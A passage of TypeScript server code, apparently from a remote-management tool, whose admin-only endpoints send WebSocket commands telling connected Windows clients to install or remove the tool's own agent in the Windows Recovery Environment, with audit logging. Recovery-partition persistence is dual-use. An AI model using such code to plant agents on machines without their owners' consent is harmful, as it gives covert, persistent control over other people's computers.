details: JSON.stringify({ uploadId, filePath: destPath }),
|
||||||
|
});
|
||||||
|
|
||||||
|
results.push({ clientId, ok: true });
|
||||||
|
}
|
||||||
|
|
||||||
|
return Response.json({ ok: true, results });
|
||||||
|
}
|
||||||
|
|
||||||
|
if (req.method === "POST" && url.pathname === "/api/winre/install-self") {
|
||||||
|
const user = await authenticateRequest(req);
|
||||||
|
if (!user) {
|
||||||
|
return new Response("Unauthorized", { status: 401 });
|
||||||
|
}
|
||||||
|
if (user.role !== "admin") {
|
||||||
|
return new Response("Forbidden: Admin access required", { status: 403 });
|
||||||
|
}
|
||||||
|
|
||||||
|
let body: any = {};
|
||||||
|
try {
|
||||||
|
body = await req.json();
|
||||||
|
} catch {
|
||||||
|
return new Response("Bad request", { status: 400 });
|
||||||
|
}
|
||||||
|
|
||||||
|
const clientIds = Array.isArray(body?.clientIds) ? body.clientIds : [];
|
||||||
|
if (clientIds.length === 0) {
|
||||||
|
return new Response("Bad request", { status: 400 });
|
||||||
|
}
|
||||||
|
|
||||||
|
const results: Array<{ clientId: string; ok: boolean; reason?: string }> = [];
|
||||||
|
|
||||||
|
for (const clientId of clientIds) {
|
||||||
|
const target = clientManager.getClient(clientId);
|
||||||
|
if (!target) {
|
||||||
|
results.push({ clientId, ok: false, reason: "offline" });
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
const clientOs = (target.os || "").toLowerCase();
|
||||||
|
if (!clientOs.includes("windows")) {
|
||||||
|
results.push({ clientId, ok: false, reason: "windows_only" });
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
const cmdId = uuidv4();
|
||||||
|
target.ws.send(
|
||||||
|
encodeMessage({
|
||||||
|
type: "command",
|
||||||
|
commandType: "winre_install",
|
||||||
|
id: cmdId,
|
||||||
|
payload: { useSelf: true },
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
|
||||||
|
metrics.recordCommand("winre_install");
|
||||||
|
logAudit({
|
||||||
|
timestamp: Date.now(),
|
||||||
|
username: user.username,
|
||||||
|
ip: server.requestIP(req)?.address || "unknown",
|
||||||
|
action: AuditAction.WINRE_INSTALL,
|
||||||
|
targetClientId: clientId,
|
||||||
|
success: true,
|
||||||
|
details: JSON.stringify({ useSelf: true }),
|
||||||
|
});
|
||||||
|
|
||||||
|
results.push({ clientId, ok: true });
|
||||||
|
}
|
||||||
|
|
||||||
|
return Response.json({ ok: true, results });
|
||||||
|
}
|
||||||
|
|
||||||
|
if (req.method === "POST" && url.pathname === "/api/winre/uninstall") {
|
||||||
|
const user = await authenticateRequest(req);
|
||||||
|
if (!user) {
|
||||||
|
return new Response("Unauthorized", { status: 401 });
|
||||||
|
}
|
||||||
|
if (user.role !== "admin") {
|
||||||
|
return new Response("Forbidden: Admin access required", { status: 403 });
|
||||||
|
}
|
||||||
|
|
||||||
|
let body: any = {};
|
||||||
|
try {
|
||||||
|
body = await req.json();
|
||||||
|
} catch {
|
||||||
|
return new Response("Bad request", { status: 400 });
|
||||||
|
}
|
||||||
|
|
||||||
|
const clientIds = Array.isArray(body?.clientIds) ? body.clientIds : [];
|
||||||
|
if (clientIds.length === 0) {
|
||||||
|
return new Response("Bad request", { status: 400 });
|
||||||
|
}
|
||||||
|
|
||||||
|
const results: Array<{ clientId: string; ok: boolean; reason?: string }> = [];
|
||||||
|
|
||||||
|
for (const clientId of clientIds) {
|
||||||
|
const target = clientManager.getClient(clientId);
|
||||||
|
if (!target) {
|
||||||
|
results.push({ clientId, ok: false, reason: "offline" });
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
const clientOs = (target.os || "").toLowerCase();
|
||||||
|
if (!clientOs.includes("windows")) {
|
||||||
|
results.push({ clientId, ok: false, reason: "windows_only" });
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
const cmdId = uuidv4();
|
||||||
|
target.ws.send(
|
||||||
|
encodeMessage({
|
||||||
|
type: "command",
|
||||||
|
commandType: "winre_uninstall",
|
||||||
|
id: cmdId,
|
||||||
|
payload: {},
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
|
||||||
|
metrics.recordCommand("winre_uninstall");
|
||||||
|
logAudit({
|
||||||
|
timestamp: Date.now(),
|
||||||
|
username: user.username,
|
||||||
|
ip: server.requestIP(req)?.address || "unknown",
|
||||||
|
action: AuditAction.WINRE_UNINSTALL,
|
||||||
|
targetClientId: clientId,
|
||||||
|
success: true,
|
||||||
|
details: JSON.stringify({ clientId }),
|
||||||
|
});
|
||||||
|
|
||||||
|
results.push({ clientId, ok: true });
|
||||||
|
}
|
||||||
|
|
||||||
|
return Response.json({ ok: true, results });
|
||||||
|
}
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user